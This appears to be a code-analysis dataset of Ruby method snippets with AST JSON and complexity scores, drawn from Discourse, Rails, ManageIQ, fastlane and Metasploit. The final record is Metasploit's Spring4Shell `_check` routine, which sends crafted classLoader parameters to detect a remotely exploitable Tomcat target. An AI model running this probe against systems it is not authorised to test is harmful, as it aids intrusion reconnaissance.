{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base/lookup_container.rb","start_line":93,"raw_source":"def post_already_imported?(import_id)\n      @posts.has_key?(import_id) || @posts.has_key?(import_id.to_s)\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"post_already_imported?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"import_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@posts\"]},\"has_key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_id\"]},\"to_s\"]}]}]}]}","id":"afd17b73-7e67-4c9a-a568-e71853bedf42"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/customization_template.rb","start_line":21,"raw_source":"def self.seed_data\n    File.exist?(seed_file_name) ? YAML.load_file(seed_file_name) : []\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[null,\"seed_file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"send\",\"children\":[null,\"seed_file_name\"]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"08d8c20d-a1f7-4cc7-84e5-cd0452e8381f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/authenticator/ldap.rb","start_line":35,"raw_source":"def ldap\n      @ldap ||= ldap_bind(config[:bind_dn], config[:bind_pwd])\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ldap\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ldap\"]},{\"type\":\"send\",\"children\":[null,\"ldap_bind\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bind_dn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bind_pwd\"]}]}]}]}]}","id":"ec89999f-8c39-4208-8d2c-c6365816b524"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/message.rb","start_line":632,"raw_source":"def dump\n    super(@query.size + 1) do |buffer|\n      buffer.write_cstring(@query)\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"dump\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},\"size\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buffer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"write_cstring\",{\"type\":\"ivar\",\"children\":[\"@query\"]}]}]}]}","id":"ca062ac3-13e1-4f62-9576-1730e0501cfc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/sqlite_rake_test.rb","start_line":217,"raw_source":"def with_structure_dump_flags(flags)\n        old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags\n        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags\n        yield\n      ensure\n        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_structure_dump_flags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"flags\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"structure_dump_flags\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"structure_dump_flags=\",{\"type\":\"lvar\",\"children\":[\"flags\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"structure_dump_flags=\",{\"type\":\"lvar\",\"children\":[\"old\"]}]}]}]}","id":"f148e7e1-ca8a-4585-896b-a981751c12ba"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20211213060445_email_tokens_token_to_nullable.rb","start_line":4,"raw_source":"def up\n    # ensure column is nullable in case any inserts happen\n    # prior to post migrations\n    #\n    # using this somewhat verbose pattern to avoid impacting people who\n    # drifted on main\n    begin\n      Migration::SafeMigrate.disable!\n      execute <<~SQL if DB.query_single(<<~SQL).length > 0\n          ALTER TABLE email_tokens ALTER COLUMN token DROP NOT NULL\n        SQL\n        SELECT 1 FROM INFORMATION_SCHEMA.COLUMNS\n        WHERE table_schema='public'\n        AND table_name = 'email_tokens'\n        AND column_name = 'token'\n      SQL\n    ensure\n      Migration::SafeMigrate.enable!\n    end\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"disable!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT 1 FROM INFORMATION_SCHEMA.COLUMNS\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE table_schema='public'\\n\"]},{\"type\":\"str\",\"children\":[\"AND table_name = 'email_tokens'\\n\"]},{\"type\":\"str\",\"children\":[\"AND column_name = 'token'\\n\"]}]}]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"ALTER TABLE email_tokens ALTER COLUMN token DROP NOT NULL\\n\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"enable!\"]}]}]}]}","id":"e8702f2d-1bd9-4581-9393-0a5a43b63799"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":66,"raw_source":"def render_url\n    render html: \"<div>#{url_for(action: 'flash_me', only_path: true)}</div>\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<div>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"flash_me\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"str\",\"children\":[\"</div>\"]}]}]}]}]}]}","id":"56cfc643-330d-493c-9810-e9320f5d9e1a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_lane_manager.rb","start_line":82,"raw_source":"def self.cruise_swift_lane_in_thread(lane, parameters = nil, swift_server_port)\n      if parameters.nil?\n        parameters = {}\n      end\n\n      parameter_string = \"\"\n      parameters.each do |key, value|\n        parameter_string += \" #{key} #{value}\"\n      end\n\n      if FastlaneCore::Globals.verbose?\n        parameter_string += \" logMode verbose\"\n      end\n\n      parameter_string += \" swiftServerPort #{swift_server_port}\"\n\n      return Thread.new do\n        if FastlaneCore::Globals.verbose?\n          return_value = Actions.sh(%(#{FastlaneCore::FastlaneFolder.swift_runner_path} lane #{lane}#{parameter_string}))\n          UI.message(\"runner output: \".yellow + return_value)\n        else\n          Actions.sh(%(#{FastlaneCore::FastlaneFolder.swift_runner_path} lane #{lane}#{parameter_string} > /dev/null))\n        end\n      end\n    end","complexity_score":30.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cruise_swift_lane_in_thread\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lane\"]},{\"type\":\"optarg\",\"children\":[\"parameters\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"arg\",\"children\":[\"swift_server_port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"parameters\",{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"parameter_string\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parameter_string\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parameter_string\"]},\"+\",{\"type\":\"str\",\"children\":[\" logMode verbose\"]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parameter_string\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" swiftServerPort \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"swift_server_port\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"return_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"FastlaneFolder\"]},\"swift_runner_path\"]}]},{\"type\":\"str\",\"children\":[\" lane \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lane\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter_string\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"runner output: \"]},\"yellow\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"return_value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"FastlaneFolder\"]},\"swift_runner_path\"]}]},{\"type\":\"str\",\"children\":[\" lane \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lane\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter_string\"]}]},{\"type\":\"str\",\"children\":[\" > /dev/null\"]}]}]}]}]}]}]}]}","id":"33e7e0da-2e52-447f-a57c-dad2672e6ca0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pglogical_subscription.rb","start_line":27,"raw_source":"def self.lookup_by_id(to_find)\n    find(to_find)\n  rescue ActiveRecord::RecordNotFound\n    nil\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lookup_by_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to_find\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"lvar\",\"children\":[\"to_find\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"e7867b15-740c-480e-9ae3-7ce9ba255b75"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/queries/loading.rb","start_line":42,"raw_source":"def load_query_or_deny_access\n      @query = load_query(duplicate: false)\n\n      render_403 unless @query\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load_query_or_deny_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"send\",\"children\":[null,\"load_query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duplicate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@query\"]},null,{\"type\":\"send\",\"children\":[null,\"render_403\"]}]}]}]}","id":"5da8629b-5ff3-4264-8cb2-a48a4d5c768f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme_modifier_set.rb","start_line":83,"raw_source":"def refresh_theme_setting_modifiers(target_setting_name: nil, target_setting_value: nil)\n    changed = false\n    if self.theme_setting_modifiers.present?\n      self.theme_setting_modifiers.each do |modifier_name, setting_name|\n        modifier_name = modifier_name.to_sym\n        setting_name = setting_name.to_sym\n\n        next if target_setting_name.present? && target_setting_name.to_sym != setting_name\n\n        value =\n          target_setting_name.present? ? target_setting_value : theme.settings[setting_name]&.value\n        value = coerce_setting_value(modifier_name, value)\n        if self[modifier_name] != value\n          self[modifier_name] = value\n          changed = true\n        end\n      end\n    end\n    changed\n  end","complexity_score":40.6,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_theme_setting_modifiers\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"target_setting_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"target_setting_value\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"theme_setting_modifiers\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"theme_setting_modifiers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"modifier_name\"]},{\"type\":\"arg\",\"children\":[\"setting_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"modifier_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modifier_name\"]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"setting_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_name\"]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_setting_name\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_setting_name\"]},\"to_sym\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_setting_name\"]},\"present?\"]},{\"type\":\"lvar\",\"children\":[\"target_setting_value\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme\"]},\"settings\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]},\"value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"coerce_setting_value\",{\"type\":\"lvar\",\"children\":[\"modifier_name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"modifier_name\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"modifier_name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"changed\",{\"type\":\"true\",\"children\":[]}]}]},null]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"changed\"]}]}]}","id":"bd0e6d88-5d59-4b68-a43d-7aa6c06d03d1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/spring_framework_rce_spring4shell.rb","start_line":202,"raw_source":"def _check\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))\n    )\n\n    return CheckCode::Unknown('Web server seems unresponsive') unless res\n\n    if res.headers.key?('Server')\n      res.headers['Server'].match(%r{(.*)/([\\d|.]+)$})\n    else\n      res.body.match(%r{Apache\\s(.*)/([\\d|.]+)})\n    end\n\n    server = Regexp.last_match(1) || nil\n    version = Rex::Version.new(Regexp.last_match(2)) || nil\n\n    return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)\n\n    vprint_status(\"Detected #{server} #{version} running\")\n\n    if datastore['HTTP_METHOD'] == 'Automatic'\n      # prefer POST over get to keep the vars out of the query string if possible\n      methods = %w[POST GET]\n    else\n      methods = [ datastore['HTTP_METHOD'] ]\n    end\n\n    methods.each do |method|\n      vars = \"vars_#{method == 'GET' ? 'get' : 'post'}\"\n      res = send_request_cgi(\n        'method' => method,\n        'uri' => normalize_uri(datastore['TARGETURI']),\n        vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }\n      )\n\n      # setting the default assertion status to a valid status\n      send_request_cgi(\n        'method' => method,\n        'uri' => normalize_uri(datastore['TARGETURI']),\n        vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }\n      )\n      return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":64.45,"ast_json":"{\"type\":\"def\",\"children\":[\"_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[6]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Web server seems unresponsive\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"key?\",{\"type\":\"str\",\"children\":[\"Server\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(.*)/([\\\\d|.]+)$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Apache\\\\s(.*)/([\\\\d|.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"server\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Tomcat\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Application does not seem to be running under Tomcat\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" running\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_METHOD\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"Automatic\"]}]},{\"type\":\"lvasgn\",\"children\":[\"methods\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"methods\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_METHOD\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vars\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"==\",{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"str\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"post\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class.module.classLoader.DefaultAssertionStatus\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[6]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class.module.classLoader.DefaultAssertionStatus\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}]}]},null]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"ec565aad-8149-440c-aa9f-bf5fb2732839"}
